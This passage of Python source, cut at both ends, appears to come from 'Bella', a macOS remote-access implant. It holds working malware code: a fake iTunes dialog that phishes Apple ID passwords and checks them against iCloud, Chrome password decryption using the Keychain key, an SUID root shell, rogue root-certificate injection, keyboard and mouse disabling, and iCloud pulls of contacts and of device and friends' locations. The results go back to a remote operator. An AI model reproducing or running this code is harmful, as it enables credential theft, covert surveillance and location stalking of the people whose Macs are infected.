is not accessible' % path 91 | 92 | def subprocess_manager(pid, path, name): #will keep track of a PID and its path in the global payload_list 93 | global payload_list 94 | payload_list.append((pid, path, name)) #path is the binary that we will shutil.rmtree for, and PID we will kill 95 | return True 96 | 97 | def subprocess_cleanup(): #will clean up all of those in the global payload_list 98 | global payload_list 99 | for x in payload_list: 100 | p = kill_pid(x[0]) 101 | #print 'Killed pid [%s]: %s' % (x[0], repr(p)) 102 | payload_cleaner() 103 | #print 'removed payload [%s]: %s' % (x[1], repr(p)) 104 | if p: 105 | print 'Killed and cleaned [%s]' % x[2] 106 | payload_list.remove(x) 107 | 108 | def readDB(column, payload=False): 109 | #we need the path specified below, because we cant read the helper location from DB without knowing what to read 110 | conn = sqlite3.connect('%sbella.db' % get_bella_path()) #will create if doesnt exist 111 | c = conn.cursor() 112 | if payload: 113 | c.execute("SELECT %s FROM payloads WHERE id = 1" % column) 114 | else: 115 | c.execute("SELECT %s FROM bella WHERE id = %s" % (column, bella_UID)) 116 | try: 117 | value = c.fetchone()[0] 118 | if value == None: 119 | return False 120 | except TypeError as e: 121 | return False 122 | return base64.b64decode(value) #DECODES the data that updatedb ENCODES! 123 | 124 | def updateDB(data, column): 125 | data = base64.b64encode(data) #readDB will return this data DECODED 126 | if not os.path.isfile("%sbella.db" % get_bella_path()): 127 | creator = createDB() 128 | if not creator[0]: 129 | return (False, "Error creating database! [%s]" % creator[1]) 130 | conn = sqlite3.connect('%sbella.db' % get_bella_path()) #will create if doesnt exist 131 | c = conn.cursor() 132 | c.execute("SELECT * FROM bella WHERE id = %s" % bella_UID) 133 | if len(c.fetchall()) == 0: #then that user is not yet in our DB, so let's create them 134 | c.execute("INSERT INTO bella (id, username) VALUES (%s, '%s')" % (bella_UID, get_bella_user())) 135 | c.execute("UPDATE bella set %s = '%s' WHERE id = %s" % (column, data, bella_UID)) 136 | conn.commit() 137 | conn.close() 138 | return (True, '') 139 | 140 | def check_if_payloads(): 141 | conn = sqlite3.connect('%sbella.db' % get_bella_path()) #will create if doesnt exist 142 | c = conn.cursor() 143 | c.execute("SELECT * FROM payloads WHERE id = 1") 144 | if len(c.fetchall()) == 0: #then that user is not yet in our DB, so let's create them 145 | return False 146 | return True 147 | 148 | def inject_payloads(payload_encoded): 149 | conn = sqlite3.connect('%sbella.db' % get_bella_path()) #will create if doesnt exist 150 | c = conn.cursor() 151 | try: 152 | (vncFile, kcFile, mcFile, rsFile, insomniaFile, lockFile, chainbreakerFile) = payload_encoded.splitlines() 153 | c.execute("INSERT INTO payloads (id, vnc, keychaindump, microphone, root_shell, insomnia, lock_icon, chainbreaker) VALUES (1, '%s', '%s', '%s', '%s', '%s', '%s', '%s')" % (vncFile.encode('base64'), kcFile.encode('base64'), mcFile.encode('base64'), rsFile.encode('base64'), insomniaFile.encode('base64'), lockFile.encode('base64'), chainbreakerFile.encode('base64'))) 154 | conn.commit() 155 | conn.close() 156 | return True 157 | except Exception as e: 158 | print e 159 | conn.close() 160 | return False 161 | 162 | def createDB(): 163 | try: 164 | conn = sqlite3.connect('%sbella.db' % get_bella_path()) #will create if doesnt exist 165 | c = conn.cursor() 166 | c.execute("CREATE TABLE bella (id int, username text, lastLogin text, model text, mme_token text, applePass text, localPass text, chromeSS text, text)") 167 | c.execute("CREATE TABLE payloads(id int, vnc text, keychaindump text, microphone text, root_shell text, insomnia text, lock_icon text, chainbreaker text)") 168 | conn.commit() 169 | conn.close() 170 | print "Created Bella DB" 171 | except sqlite3.OperationalError as e: 172 | if e[0] == "table bella already exists": 173 | return (True, e) 174 | else: 175 | return (False, e) #some error 176 | return (True, None) 177 | 178 | def encrypt(data): 179 | #This function will encode any given data into base64. It will then pass this encoded data as 180 | #a command line argument, into the openssl binary, where it will be encrypted with aes-128-cbc 181 | #using the master key specified at the top of the program. We encode the data so there are no unicode issues 182 | #the openssl binary will then return ANOTHER DIFFERENT base64 string, that is the ENCODED ENCRYPTED data 183 | #this ENCODED ENCRYPTED DATA [of ENCODED RAW DATA] can be decrypted by the decrypt function, which expects a 184 | #base64 input and outputs the original raw data in an encoded format. this encoded format is then decoded and returned to 185 | #the subroutine that called the function. 186 | data = base64.b64encode(data) 187 | encrypted = subprocess.check_output("openssl enc -base64 -e -aes-128-cbc -k %s <<< '%s'" % (cryptKey, data), shell=True) #encrypt password 188 | return encrypted 189 | 190 | def decrypt(data): 191 | #data = base64.b64decode(data) 192 | decrypted = subprocess.check_output("openssl enc -base64 -d -aes-128-cbc -k %s <<< '%s'" % (cryptKey, data), shell=True) #encrypt password 193 | return base64.b64decode(decrypted) 194 | 195 | def main_iCloud_helper(): 196 | error, errorMessage = False, False 197 | dsid, token = "", "" 198 | (username, password, usingToken) = iCloud_auth_process(False) 199 | error = False 200 | if password == False: 201 | errorMessage = "%s%s" % (red_minus, username) #username will have the error message 202 | error = True 203 | else: 204 | content = dsid_factory(username, password) 205 | if content[0] == False: 206 | errorMessage =content[1] 207 | error = True 208 | else: 209 | try: 210 | (dsid, token, usingToken) = content 211 | except ValueError, e: 212 | errorMessage = '\n'.join(content) 213 | error = True 214 | return (error, errorMessage, dsid, token) 215 | 216 | def byte_convert(byte): 217 | for count in ['B','K','M','G']: 218 | if byte < 1024.0: 219 | return ("%3.1f%s" % (byte, count)).replace('.0', '') 220 | byte /= 1024.0 221 | return "%3.1f%s" % (byte, 'TB') 222 | 223 | def cur_GUI_user(): 224 | try: 225 | return subprocess.check_output("stat -f '%Su' /dev/console", shell=True).replace("\n", "") 226 | except: 227 | return "No Current GUI" 228 | 229 | def check_output(cmd): 230 | process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) 231 | stderr = process.stderr.read() 232 | stdout = process.stdout.read() 233 | if process.wait() != 0: 234 | print stderr 235 | return (False, stderr, process.wait()) #failed, stderr, exit code 236 | return (True, stdout, process.wait()) #completed successfully, stdout, exit code 237 | 238 | def appleIDPhishHelp(): 239 | returnString = "" 240 | for x in get_iTunes_accounts(): 241 | if x[0]: 242 | returnString += "Local user: [%s] Apple ID: [%s]\n" % (x[2], x[1]) 243 | else: 244 | pass 245 | return pickle.dumps((returnString, cur_GUI_user())) 246 | 247 | def appleIDPhish(username, GUIUser): 248 | global bellaConnection 249 | while True: 250 | ### CTRLC listener 251 | bellaConnection.settimeout(0.0) 252 | try: #SEE IF WE HAVE INCOMING MESSAGE MID LOOP 253 | if recv_msg(bellaConnection) == 'sigint9kill': 254 | sys.stdout.flush() 255 | send_msg('terminated', True) #send back confirmation along with STDERR 256 | done = True 257 | bellaConnection.settimeout(None) 258 | return 1 259 | except socket.error as e: #no message, business as usual 260 | pass 261 | bellaConnection.settimeout(None) 262 | 263 | check = applepwRead() 264 | if isinstance(check, str): #we have file... 265 | send_msg("%sApple password already found [%s] %s\n" % (blue_star, check, blue_star), False) 266 | break 267 | osa = "launchctl asuser " + str(bella_UID) + " osascript -e 'tell application \"iTunes\"' -e \"pause\" -e \"end tell\"; osascript -e 'tell app \"iTunes\" to activate' -e 'tell app \"iTunes\" to activate' -e 'tell app \"iTunes\" to display dialog \"Error connecting to iTunes. Please verify your password for " + username + " \" default answer \"\" with icon 1 with hidden answer with title \"iTunes Connection\"'" 268 | #pauses music, then prompts user 269 | out = check_output(osa) 270 | if not out[0]: 271 | #user has attempted to cancel 272 | send_msg("[-] User has attempted to cancel. Trying again.\n", False) 273 | continue 274 | else: 275 | out = out[1] 276 | passw = out.split()[3] 277 | passw = passw.split(':')[1] 278 | send_msg("%sUser has attempted to use password: %s\n" % (blue_star, passw), False) 279 | try: 280 | request = urllib2.Request("https://setup.icloud.com/setup/get_account_settings") 281 | base64string = base64.encodestring('%s:%s' % (username, passw)).replace('\n', '') 282 | request.add_header("Authorization", "Basic %s" % base64string) 283 | result = urllib2.urlopen(request) 284 | out2 = result.read() 285 | except Exception, e: 286 | if str(e) == "HTTP Error 401: Unauthorized": 287 | out2 = "fail?" 288 | elif str(e) == "HTTP Error 409: Conflict": 289 | out2 = "2sV" 290 | else: 291 | out2 = "otherError!" 292 | 293 | if out2 == "fail?": 294 | send_msg(red_minus + "Bad combo: [%s:%s]\n" % (username, passw), False) 295 | continue 296 | elif out2 == "2sV": 297 | send_msg("%sVerified! [2FV Enabled] Account -> [%s:%s]%s\n" % (greenPlus, username, passw, endANSI), False) 298 | updateDB(encrypt("%s:%s" % (username, passw)), 'applePass') 299 | os.system("osascript -e 'tell application \"iTunes\"' -e \"play\" -e \"end tell\";") 300 | break 301 | elif out2 == "otherError!": 302 | send_msg("%sMysterious error with [%s:%s]\n" % (red_minus, username, passw), False) 303 | break 304 | else: 305 | send_msg("%sVerified! Account -> %s[%s:%s]%s\n" % (greenPlus, bold, username, passw, endANSI), False) 306 | updateDB(encrypt("%s:%s" % (username, passw)), 'applePass') 307 | os.system("osascript -e 'tell application \"iTunes\"' -e \"play\" -e \"end tell\";") 308 | break 309 | send_msg('', True) 310 | return 1 311 | 312 | def is_there_SUID_shell(): 313 | if os.getuid() == 0: 314 | return True 315 | 316 | if os.path.isfile('/usr/local/roots'): 317 | return True 318 | 319 | if local_pw_read(): 320 | #send_msg("%sLocal PW present.\n" % greenPlus, False) 321 | binarymake = make_SUID_root_binary(local_pw_read(), None) 322 | #send_msg(binarymake[1], False) 323 | if binarymake[0]: #we have successfully created a temp root shell 324 | return True 325 | return False 326 | 327 | return False 328 | 329 | def remove_SUID_shell(): 330 | if os.path.isfile('/usr/local/roots'): 331 | try: 332 | os.system('/usr/local/roots rm /usr/local/roots > /dev/null') 333 | #send_msg('%sRemoved temporary root shell.\n' % yellow_star, False) #% 334 | except Exception as e: 335 | pass 336 | #send_msg('%sError removing temporary root shell @ /usr/local/roots. You should delete this manually.\n' % red_minus , False) 337 | return 338 | 339 | def do_root(command): 340 | if os.getuid() == 0: 341 | output = subprocess.Popen("%s" % command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) 342 | out = output.stdout.read() 343 | err = output.stderr.read() 344 | if output.wait() != 0: 345 | return (False, '%sWe are root, but there was an error.\n%s%s' % (blue_star, yellow_star, err)) 346 | return (True, "%s\n" % out) 347 | else: 348 | if not is_there_SUID_shell(): 349 | return (False, '%sThere is no root shell to perform this command. See [rooter] manual entry.\n' % red_minus) 350 | output = subprocess.Popen("/usr/local/roots \"%s\"" % (command), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) 351 | out = output.stdout.read() 352 | err = output.stderr.read() 353 | if err != '': 354 | return (False, '%sThere is a root shell to perform this command, but there was an error.\n%s%s' % (blue_star, yellow_star, err)) 355 | return (True, "%s\n" % out) 356 | 357 | def cert_inject(cert): 358 | cPath = tempfile.mkdtemp() 359 | with open('%scert.crt' % cPath, 'w') as content: 360 | content.write(cert) 361 | temp_file_list.append(cPath) 362 | (success, msg) = do_root("security add-trusted-cert -d -r trustRoot -k /System/Library/Keychains/SystemRootCertificates.keychain %scert.crt" % cPath) 363 | if not success: 364 | return "%sError injecting root CA into System Keychain:\n%s" % (red_minus, msg) 365 | payload_cleaner() 366 | return "%sCertificate Authority injected into System Keychain!\n" % yellow_star 367 | 368 | def cert_remove(shahash): 369 | (success, msg) = do_root("security delete-certificate -Z %s /System/Library/Keychains/SystemRootCertificates.keychain" % shahash) 370 | if not success: 371 | return "%sError removing root CA from System Keychain:\n%s" % (red_minus, msg) 372 | return "%sCertificate Authority removed from System Keychain!\n" % yellow_star 373 | 374 | def check_current_users(): 375 | output = check_output("w -h | sort -u -t' ' -k1,1 | awk {'print $1'}") 376 | if not output[0]: 377 | return "Error finding current users.\n" 378 | return output[1] 379 | 380 | def check_pid(pid): 381 | try: 382 | os.kill(pid, 0) 383 | except OSError: 384 | return False 385 | else: 386 | return True 387 | 388 | def chrome_decrypt(encrypted_value, iv, key): #AES decryption using the PBKDF2 key and 16x ' ' IV, via openSSL (installed on OSX natively) 389 | hexKey = binascii.hexlify(key) 390 | hexEncPassword = base64.b64encode(encrypted_value[3:]) 391 | decrypted = check_output("openssl enc -base64 -d -aes-128-cbc -iv '%s' -K %s <<< %s 2>/dev/null" % (iv, hexKey, hexEncPassword)) 392 | if not decrypted[0]: 393 | decrypted = "ERROR retrieving password.\n" 394 | return decrypted[1] #otherwise we got it 395 | 396 | def chrome_dump(safe_storage_key, loginData): 397 | returnable = "%s%sPasswords for [%s]%s:\n" % (yellow_star, bold + underline, loginData.split("/")[-2], endANSI) 398 | empty = True 399 | for i, x in enumerate(chrome_process(safe_storage_key, "%s" % loginData)): 400 | returnable += "%s[%s]%s %s%s%s\n\t%sUser%s: %s\n\t%sPass%s: %s\n" % ("\033[32m", (i + 1), "\033[0m", "\033[1m", x[0], "\033[0m", "\033[32m", "\033[0m", x[1], "\033[32m", "\033[0m", x[2]) 401 | empty = False 402 | if not empty: 403 | return returnable 404 | else: 405 | return "%sFound no Chrome Passwords for [%s].\n" % (blue_star, loginData.split("/")[-2]) 406 | 407 | def chrome_process(safe_storage_key, loginData): 408 | iv = ''.join(('20',) * 16) #salt, iterations, iv, size - https://cs.chromium.org/chromium/src/components/os_crypt/os_crypt_mac.mm 409 | key = hashlib.pbkdf2_hmac('sha1', safe_storage_key, b'saltysalt', 1003)[:16] 410 | copypath = tempfile.mkdtemp() #work around for locking DB 411 | dbcopy = protected_file_reader(loginData) #again, shouldnt matter because we only can decrypt DBs with keys 412 | with open('%s/chrome' % copypath, 'wb') as content: 413 | content.write(dbcopy) #if chrome is open, the DB will be locked, so get around by making a temp copy 414 | database = sqlite3.connect('%s/chrome' % copypath) 415 | sql = 'select username_value, password_value, origin_url from logins' 416 | decryptedList = [] 417 | with database: 418 | for user, encryptedPass, url in database.execute(sql): 419 | if user == "" or (encryptedPass[:3] != b'v10'): #user will be empty if they have selected "never" store password 420 | continue 421 | else: 422 | urlUserPassDecrypted = (url.encode('ascii', 'ignore'), user.encode('ascii', 'ignore'), chrome_decrypt(encryptedPass, iv, key=key).encode('ascii', 'ignore')) 423 | decryptedList.append(urlUserPassDecrypted) 424 | shutil.rmtree(copypath) 425 | return decryptedList 426 | 427 | def chrome_safe_storage(): 428 | global bellaConnection 429 | retString = "" 430 | check = chromeSSRead() 431 | if isinstance(check, str): 432 | send_msg("%sPreviously generated Google Chrome Safe Storage key.\n%s%s\n" % (blue_star, blue_star, check), True) 433 | return 434 | while True: 435 | ### CTRLC listener 436 | bellaConnection.settimeout(0.0) 437 | try: #SEE IF WE HAVE INCOMING MESSAGE MID LOOP 438 | if recv_msg(bellaConnection) == 'sigint9kill': 439 | sys.stdout.flush() 440 | send_msg('terminated', True) #send back confirmation along with STDERR 441 | done = True 442 | bellaConnection.settimeout(None) 443 | return 1 444 | except socket.error as e: #no message, business as usual 445 | pass 446 | bellaConnection.settimeout(None) 447 | kchain = getKeychains() 448 | send_msg("%sUsing [%s] as keychain.\n" % (yellow_star, kchain), False) 449 | 450 | encryptionKey = check_output("launchctl asuser %s security find-generic-password -wa 'Chrome' '%s'" % (bella_UID, kchain)) #get rid of \n 451 | if not encryptionKey[0]: 452 | if 51 == encryptionKey[2]: 453 | send_msg("%sUser clicked deny.\n" % red_minus, False) 454 | continue 455 | elif 44 == encryptionKey[2]: 456 | send_msg("%sNo Chrome Safe Storage Key Found!\n" % red_minus, True) 457 | return 458 | else: 459 | send_msg("Strange error [%s]\n" % encryptionKey[1], True) 460 | return 461 | updateDB(encrypt(encryptionKey[1].replace('\n', '')), 'chromeSS') #got it 462 | send_msg("%sChrome Key: [%s]\n" % (blue_star, encryptionKey[1].replace('\n', '')), True) 463 | return 464 | 465 | def disable_keyboard_mouse(device): 466 | paths = {"keyboard": "/System/Library/Extensions/AppleUSBTopCase.kext/Contents/PlugIns/AppleUSBTCKeyboard.kext/", "mouse": "/System/Library/Extensions/AppleUSBMultitouch.kext/"} 467 | (success, msg) = do_root("kextunload %s" % paths[device]) 468 | if not success: 469 | return "%sError disabling %s.\n%s" % (red_minus, paths[device], msg) 470 | return "%s%s successfully disabled!\n" % (greenPlus, device) 471 | 472 | def dsid_factory(uname, passwd): 473 | resp = None 474 | req = urllib2.Request("https://setup.icloud.com/setup/authenticate/%s" % uname) 475 | req.add_header('Authorization', 'Basic %s' % base64.b64encode("%s:%s" % (uname, passwd))) 476 | req.add_header('Content-Type', 'application/json') 477 | try: 478 | resp = urllib2.urlopen(req) 479 | except urllib2.HTTPError as e: 480 | if e.code != 200: 481 | if e.code == 401: 482 | return (False, "HTTP Error 401: Unauthorized. Are you sure the credentials are correct?\n", False) 483 | elif e.code == 409: 484 | tokenLocal = tokenRead() 485 | if tokenLocal != False: #if we have token use it ... bc 2SV wont work with regular uname/passw 486 | dsid = tokenLocal.split("\n")[1].split(":")[0] 487 | tokz = tokenLocal.split("\n")[1].split(":")[1] 488 | return (dsid, tokz, True) 489 | else: 490 | return (False, "HTTP Error 409: Conflict. 2 Factor Authentication appears to be enabled. You cannot use this function unless you get your MMeAuthToken manually (generated either on your PC/Mac or on your iOS device).\n", False) 491 | elif e.code == 404: 492 | return (False, "HTTP Error 404: URL not found. Did you enter a username?\n", False) 493 | else: 494 | return (False, "HTTP Error %s." % e.code, False) 495 | else: 496 | return e 497 | content = resp.read() 498 | uname = plistlib.readPlistFromString(content)["appleAccountInfo"]["dsPrsID"] #stitch our own auth DSID 499 | passwd = plistlib.readPlistFromString(content)["tokens"]["mmeAuthToken"] #stitch with token 500 | return (uname, passwd, False) #third value is "usingToken?" 501 | 502 | def enable_keyboard_mouse(device): 503 | paths = {"keyboard": "/System/Library/Extensions/AppleUSBTopCase.kext/Contents/PlugIns/AppleUSBTCKeyboard.kext/", "mouse": "/System/Library/Extensions/AppleUSBMultitouch.kext/"} 504 | (success, msg) = do_root("kextload %s" % paths[device]) 505 | if not success: 506 | return "%sError enabling %s.\n%s" % (red_minus, paths[device], msg) 507 | return "%s%s successfully enabled!\n" % (greenPlus, device) 508 | 509 | def enumerate_chrome_profiles(): 510 | return globber("/Users/*/Library/Application Support/Google/Chrome/*/Login Data") 511 | 512 | def FMIP(username, password): 513 | i = 0 514 | try: #if we are given a FMIP token, change auth Type 515 | int(username) 516 | authType = "Forever" 517 | except ValueError: #else apple id use useridguest 518 | authType = "UserIDGuest" 519 | while True: 520 | i +=1 521 | url = 'https://fmipmobile.icloud.com/fmipservice/device/%s/initClient' % username 522 | headers = { 523 | 'X-Apple-Realm-Support': '1.0', 524 | 'Authorization': 'Basic %s' % base64.b64encode("%s:%s" % (username, password)), 525 | 'X-Apple-Find-API-Ver': '3.0', 526 | 'X-Apple-AuthScheme': '%s' % authType, 527 | 'User-Agent': 'FindMyiPhone/500 CFNetwork/758.4.3 Darwin/15.5.0', 528 | } 529 | request = urllib2.Request(url, None, headers) 530 | request.get_method = lambda: "POST" 531 | try: 532 | response = urllib2.urlopen(request) 533 | z = json.loads(response.read()) 534 | except urllib2.HTTPError as e: 535 | if e.code == 401: 536 | return "Authorization Error 401. Try credentials again." 537 | if e.code == 403: 538 | pass #can ignore 539 | raise e 540 | if i == 2: #loop twice / send request twice 541 | break 542 | send_msg("Sent \033[92mlocation\033[0m beacon to \033[91m[%s]\033[0m devices\n" % len(z["content"]), False) 543 | send_msg("Awaiting response from iCloud...\n", False) 544 | #okay, FMD request has been sent, now lets wait a bit for iCloud to get results, and then do again, and then break 545 | time.sleep(5) 546 | send_msg("\033[94m(%s %s | %s)\033[0m -> \033[92mFound %s Devices\033[0m\n-------\n" % (z["userInfo"]["firstName"], z["userInfo"]["lastName"], username, len(z["content"])), False) 547 | i = 1 548 | for y in z["content"]: 549 | try: 550 | send_msg("Device [%s]\n" % i, False) 551 | i += 1 552 | send_msg("Model: %s\n" % y["deviceDisplayName"], False) 553 | send_msg("Name: %s\n" % y["name"], False) 554 | timeStamp = y["location"]["timeStamp"] / 1000 555 | timeNow = time.time() 556 | timeDelta = timeNow - timeStamp #time difference in seconds 557 | minutes, seconds = divmod(timeDelta, 60) #great function, saves annoying maths 558 | hours, minutes = divmod(minutes, 60) 559 | timeStamp = datetime.datetime.fromtimestamp(timeStamp).strftime("%A, %B %d at %I:%M:%S") 560 | if hours > 0: 561 | timeStamp = "%s (%sh %sm %ss ago)" % (timeStamp, str(hours).split(".")[0], str(minutes).split(".")[0], str(seconds).split(".")[0]) 562 | else: 563 | timeStamp = "%s (%sm %ss ago)" % (timeStamp, str(minutes).split(".")[0], str(seconds).split(".")[0]) 564 | send_msg("Latitude, Longitude: <%s;%s>\n" % (y["location"]["latitude"], y["location"]["longitude"]), False) 565 | send_msg("Battery: %s & %s\n" % (y["batteryLevel"], y["batteryStatus"]), False) 566 | send_msg("\033[92mLocated at: %s\033[0m\n" % timeStamp, False) 567 | send_msg("-------\n", False) 568 | except TypeError,e : 569 | send_msg("\033[92mCould not get GPS lock!\033[0m\n", False) 570 | send_msg('', True) 571 | return 0 572 | 573 | def get_card_links(dsid, token): 574 | url = 'https://p04-contacts.icloud.com/%s/carddavhome/card' % dsid 575 | headers = { 576 | 'Depth': '1', 577 | 'Authorization': 'X-MobileMe-AuthToken %s' % base64.b64encode("%s:%s" % (dsid, token)), 578 | 'Content-Type': 'text/xml', 579 | } 580 | data = """ 581 | 582 | 583 | 584 | 585 | 586 | """ 587 | request = urllib2.Request(url, data, headers) 588 | request.get_method = lambda: 'PROPFIND' #replace the get_method fxn from its default to PROPFIND to allow for successfull cardDav pull 589 | response = urllib2.urlopen(request) 590 | zebra = ET.fromstring(response.read()) 591 | returnedData = """ 592 | 593 | 594 | 595 | 596 | \n""" 597 | for response in zebra: 598 | for link in response: 599 | href = response.find('{DAV:}href').text #get each link in the tree 600 | returnedData += "%s\n" % href 601 | return "%s" % str(returnedData) 602 | 603 | def get_card_data(dsid, token): 604 | url = 'https://p04-contacts.icloud.com/%s/carddavhome/card' % dsid 605 | headers = { 606 | 'Content-Type': 'text/xml', 607 | 'Authorization': 'X-MobileMe-AuthToken %s' % base64.b64encode("%s:%s" % (dsid, token)), 608 | } 609 | data = get_card_links(dsid, token) 610 | request = urllib2.Request(url, data, headers) 611 | request.get_method = lambda: 'REPORT' #replace the get_method fxn from its default to REPORT to allow for successfull cardDav pull 612 | response = urllib2.urlopen(request) 613 | zebra = ET.fromstring(response.read()) 614 | i = 0 615 | contactList, phoneList, cards = [], [], [] 616 | for response in zebra: 617 | tel, contact, email = [], [], [] 618 | name = "" 619 | vcard = response.find('{DAV:}propstat').find('{DAV:}prop').find('{urn:ietf:params:xml:ns:carddav}address-data').text 620 | if vcard: 621 | for y in vcard.splitlines(): 622 | if y.startswith("FN:"): 623 | name = y[3:] 624 | if y.startswith("TEL;"): 625 | tel.append((y.split("type")[-1].split(":")[-1].replace("(", "").replace(")", "").replace(" ", "").replace("-", "").encode("ascii", "ignore"))) 626 | if y.startswith("EMAIL;") or y.startswith("item1.EMAIL;"): 627 | email.append(y.split(":")[-1]) 628 | cards.append(([name], tel, email)) 629 | return sorted(cards) 630 | 631 | def get_iTunes_accounts(): 632 | iClouds = globber("/Users/%s/Library/Accounts/Accounts3.sqlite" % get_bella_user()) #we are only interested in the current GUI user 633 | returnList = [] 634 | for x in iClouds: 635 | database = sqlite3.connect(x) 636 | try: 637 | accounts = list(database.execute("SELECT ZUSERNAME FROM ZACCOUNT WHERE ZACCOUNTDESCRIPTION='iCloud'")) 638 | username = accounts[0][0] #gets just the first account, no multiuser support yet 639 | returnList.append((True, username, x.split("/")[2])) 640 | except Exception, e: 641 | if str(e) == "list index out of range": 642 | returnList.append((False, "No iCloud Accounts present\n", x.split("/")[2])) 643 | else: 644 | returnList.append((False, "%s\n" % str(e), x.split("/")[2])) 645 | return returnList 646 | 647 | def get_model(): 648 | model = readDB('model') 649 | if not model: 650 | return model 651 | return model 652 | 653 | def heard_it_from_a_friend_who(uDsid, mmeAuthToken, cardData): 654 | mmeFMFAppToken = tokenFactory(base64.b64encode("%s:%s" % (uDsid, mmeAuthToken)))[0][2] 655 | url = 'https://p04-fmfmobile.icloud.com/fmipservice/friends/%s/refreshClient' % uDsid 656 | headers = { 657 | 'Authorization': 'Basic %s' % base64.b64encode("%s:%s" % (uDsid, mmeFMFAppToken)),#FMF APP TOKEN 658 | 'Content-Type': 'application/json; charset=utf-8', 659 | } 660 | data = { 661 | "clientContext": { 662 | "appVersion": "5.0" #critical for getting appropriate config / time apparently. 663 | } 664 | } 665 | jsonData = json.dumps(data) 666 | request = urllib2.Request(url, jsonData, headers) 667 | i = 0 668 | while 1: 669 | try: 670 | response = urllib2.urlopen(request) 671 | break 672 | except: #for some reason this exception needs to be caught a bunch of times before the request is made. 673 | i +=1 674 | continue 675 | x = json.loads(response.read()) 676 | dsidList = [] 677 | phoneList = [] #need to find how to get corresponding name from CalDav 678 | for y in x["following"]: #we need to get contact information. 679 | for z, v in y.items(): 680 | #do some cleanup 681 | if z == "invitationAcceptedHandles": 682 | v = v[0] #v is a list of contact information, we will grab just the first identifier 683 | phoneList.append(v) 684 | if z == "id": 685 | v = v.replace("~", "=") 686 | v = base64.b64decode(v) 687 | dsidList.append(v) 688 | zippedList = zip(dsidList, phoneList) 689 | retString = "" 690 | i = 0 691 | for y in x["locations"]:#[0]["location"]["address"]: 692 | streetAddress, country, state, town, timeStamp = " " *5 693 | dsid = y["id"].replace("~", "=") 694 | dsid = base64.b64decode(dsid) #decode the base64 id, and find its corresponding one in the zippedList. 695 | for g in zippedList: 696 | if g[0] == dsid: 697 | phoneNumber = g[1] #we should get this for every person. no errors if no phone number found. 698 | for x in cardData: 699 | for nums in x[1]: 700 | if phoneNumber.replace("+1", "") in nums: 701 | phoneNumber += " (%s)" % x[0][0] 702 | for emails in x[2]: 703 | if phoneNumber in emails: 704 | phoneNumber += " (%s)" % x[0][0] 705 | try: 706 | timeStamp = y["location"]["timestamp"] / 1000 707 | timeNow = time.time() 708 | timeDelta = timeNow - timeStamp #time difference in seconds 709 | minutes, seconds = divmod(timeDelta, 60) #great function, saves annoying maths 710 | hours, minutes = divmod(minutes, 60) 711 | timeStamp = datetime.datetime.fromtimestamp(timeStamp).strftime("%A, %B %d at %I:%M:%S") 712 | timeStamp = "%s (%sm %ss ago)" % (timeStamp, str(minutes).split(".")[0], str(seconds).split(".")[0]) #split at decimal 713 | except TypeError: 714 | timeStamp = "Could not get last location time." 715 | 716 | if not y["location"]: #once satisfied, all is good, return fxn will end 717 | continue #go back to top of loop and re-run query 718 | 719 | for z, v in y["location"]["address"].items(): #loop through address info 720 | #counter of threes for pretty print... 721 | if type(v) is list: 722 | continue 723 | if z == "streetAddress": 724 | streetAddress = v 725 | if z == "countryCode": 726 | country = v 727 | if z == "stateCode": 728 | state = v 729 | if z == "locality": 730 | town = v 731 | 732 | if streetAddress != " ": #in the event that we cant get a street address, dont print it to the final thing 733 | retString += "%s\n%s\n%s, %s, %s\n%s\n%s\n" % ("\033[34m" + phoneNumber, "\033[92m" + streetAddress, town, state, country, "\033[0m" + timeStamp,"-----") 734 | else: 735 | retString += "%s\n%s, %s, %s\n%s\n%s\n" % ("\033[34m" + phoneNumber, "\033[92m" + town, state, country, "\033[0m" + timeStamp,"-----") 736 | 737 | i += 1 738 | localToken = tokenRead() 739 | if tokenRead() != False: 740 | uDsid = tokenRead().split("\n")[0] 741 | return retString + "\033[91mFound \033[93m[%s]\033[91m friends for %s!\033[0m\n" % (i, uDsid) 742 | 743 | def iCloud_auth_process(tokenOverride): 744 | #this function will return a username and password combination, or a DSID and token combination, along with a code for which one is being used. 745 | returnString = "" 746 | token = "" 747 | usingToken = False 748 | localToken = tokenRead() 749 | 750 | applePresent = applepwRead() 751 | 752 | if isinstance(applePresent, str) and tokenOverride == False: 753 | (username, password) = applepwRead().split(":") #just take the first account if there are multiple 754 | usingToken = False 755 | 756 | elif localToken != False: #means we have a token file. 757 | try: 758 | (username, password) = localToken.split("\n")[1].split(":") 759 | usingToken = True 760 | except Exception, e: 761 | return (e, False, usingToken) 762 | else: #means we have neither a token file, or apple creds 763 | return ("No token found, no apple credentials found.\n", False, usingToken) 764 | 765 | return (username, password, usingToken) 766 | 767 | def iCloud_storage_helper(dsid, authToken): 768 | authCode = base64.b64encode("%s:%s" % (dsid, authToken)) 769 | tokens = tokenFactory(authCode) 770 | send_msg('Getting iCloud information.\n', False) 771 | try: 772 | req = urllib2.Request("https://p04-quota.icloud.com/quotaservice/external/mac/%s/storageUsageDetails" % dsid) #this will have all tokens 773 | req.add_header('Authorization', 'Basic %s' % authCode) 774 | req.add_header('Content-Type', 'application/json') 775 | resp = urllib2.urlopen(req) 776 | storageData = resp.read() 777 | except Exception as e: 778 | send_msg("Slight error [%s]" % e, False) 779 | resp_dict = json.loads(storageData) 780 | 781 | for x in tokens[1]: #tokens[1] is the account information of the user 782 | send_msg("%s\n\n" % x, False) 783 | 784 | try: 785 | for x in resp_dict["photo"]: 786 | if x["libraryEnabled"]: 787 | send_msg(underline + "iCloud Photo Library: Enabled" + endANSI + "\n", False) 788 | send_msg("\tPhoto Count: %s\n" % x["photoCount"], False) 789 | send_msg("\tVideo Count: %s\n" % x["videoCount"], False) 790 | send_msg("\tiCloud Photo Library Size: %s.%s GB\n" % (str(x["storageUsedInBytes"])[0], str(x["storageUsedInBytes"])[1:4]), False) 791 | else: 792 | send_msg(underline + "iCloud Photo Library: Disabled" + endANSI + "\n", False) 793 | except: 794 | send_msg("iCloud Photo Library: Disabled\n", False) 795 | 796 | i = 0 797 | try: 798 | z = resp_dict["backups"] 799 | if len(z) == 0: 800 | send_msg("\n%sNo iCloud Backups found%s\n\n" % (underline, endANSI), False) 801 | else: 802 | send_msg("%siCloud Backups:%s\n" % (underline, endANSI), False) 803 | for x in resp_dict["backups"]: 804 | i += 1 805 | #make a little dictionary to get the pretty name of the device. 806 | productTypes = {'iPhone3,1': 'iPhone 4 